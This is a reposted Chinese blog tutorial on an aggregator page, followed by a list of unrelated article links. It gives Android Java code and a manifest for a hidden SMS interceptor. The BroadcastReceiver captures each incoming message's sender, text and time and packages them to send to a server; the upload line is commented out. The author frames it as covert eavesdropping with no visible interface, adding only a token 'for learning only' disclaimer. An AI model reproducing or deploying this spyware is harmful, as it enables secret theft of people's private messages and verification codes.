android短信监听工具
来源:互联网 发布:淘宝助手mac版 编辑:程序博客网 时间:2024/05/16 18:32
转自:http://blog.csdn.net/dinglang_2009/article/details/6862691
在学习本实例之前,读者请先了解一下android四大组件中的“广播接收者”的基本概念和使用。
由于是“监听程序”,所以就不需要建立Activity。这样也算是一种“遮掩”吧。使用BroadcastReceiver,就能达到这“不可告人”的目的。呵呵。当然,使用服务来开发此类应用,更加合适。这里就不再深入讨论“服务”了。本实例仅供学习参考,请勿非法用途。
- package cn.itcast.sms;
- import java.sql.Date;
- import java.text.SimpleDateFormat;
- import java.util.HashMap;
- import java.util.Map;
- import cn.itcast.utils.SocketHttpRequester;
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.telephony.SmsMessage;
- import android.util.Log;
- public class SMSBroadcastReceiver extends BroadcastReceiver {
- //在接受者这边获取短信相关信息,将相关信息发到服务器上进行窃听
- @Override
- public void onReceive(Context context, Intent intent) {
- Object[] pduses = (Object[])intent.getExtras().get("pdus");
- for(Object pdus : pduses){
- byte[] pdusmessage = (byte[]) pdus;//没一条短信
- SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
- String mobile = sms.getOriginatingAddress();//得到电话号码
- String content = sms.getMessageBody();//得到短信的内容
- Date date = new Date(sms.getTimestampMillis());//得到发送短信具体时间
- //2009-10-12 12:21:23
- SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//为实践设置格式
- String sendtime = format.format(date);
- Map<String, String> params = new HashMap<String, String>();
- params.put("method", "getSMS");//将与短信相关的内容全部都放到集合里
- params.put("mobile", mobile);
- params.put("content", content);
- params.put("sendtime", sendtime);
- try {//利用socket向服务器发送窃听到的内容
- //SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
- } catch (Exception e) {
- Log.e("SMSBroadcastReceiver", e.toString());
- }
- }
- }
- }
注意修改Android项目文件的配置
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="cn.itcast.sms"
- android:versionCode="1"
- android:versionName="1.0">
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <receiver android:name=".SMSBroadcastReceiver">
- <intent-filter>
- <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
- </intent-filter>
- </receiver>
- </application>
- <uses-sdk android:minSdkVersion="8" />
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
- <!-- 访问网络的权限 -->
- <uses-permission android:name="android.permission.INTERNET"/>
- </manifest>
最后说一点,Android中广播的注册机制,其实有2种方式(上文中使用的是第二种方式--配置项目清单文件)。
第一,通过代码的方式注册;
当实现了广播接收器,还要设置广播接收器接收广播信息的类型,这里是信息:android.provider.Telephony.SMS_RECEIVED
我们就可以把广播接收器注册到系统里面,可以让系统知道我们有个广播接收器。这里有两种,一种是代码动态注册:
- //生成广播处理
- smsBroadCastReceiver = new SmsBroadCastReceiver();
- //实例化过滤器并设置要过滤的广播
- IntentFilter intentFilter = new IntentFilter();
- intentFilter.addAction(SMS_ACTION);
- //注册广播
- BroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);
- android短信监听工具
- Android-短信监听工具
- android短信监听工具
- android短信监听工具(示例代码)
- Android短信发送,监听,及其工具类封装
- Android短信发送,监听,及其工具类封装
- android短信监听
- Android 短信监听
- android窃密短信监听
- android实现短信监听
- android实现短信监听
- android短信监听
- Android 短信接收监听
- Android之监听短信
- android 短信监听
- Android 监听SMS短信
- Android 短信监听
- android短信监听
- arm linux 交叉编译器研究
- How browsers work 浏览器是如何工作的
- IEEE802.11a及基于IEEE 802.11a的OFDM帧检测算法研究与FPGA实现
- 关于Android初级逻辑思考(续)——android文件夹讲解
- win7下PPPOE上网时报711错误的解决方法。
- android短信监听工具
- 关于二维数组可以开多大
- “WebForms UnobtrusiveValidationMode 需要“jquery”ScriptResourceMapping
- IEEE 802.11a 无线网络互联
- SynchronizationContext.Post方法 代替Control的Invoke
- StringTokenizer
- MySQL存储过程详解 mysql 存储过程
- 哈希表
- Java学习之Iterator(迭代器)的一般用法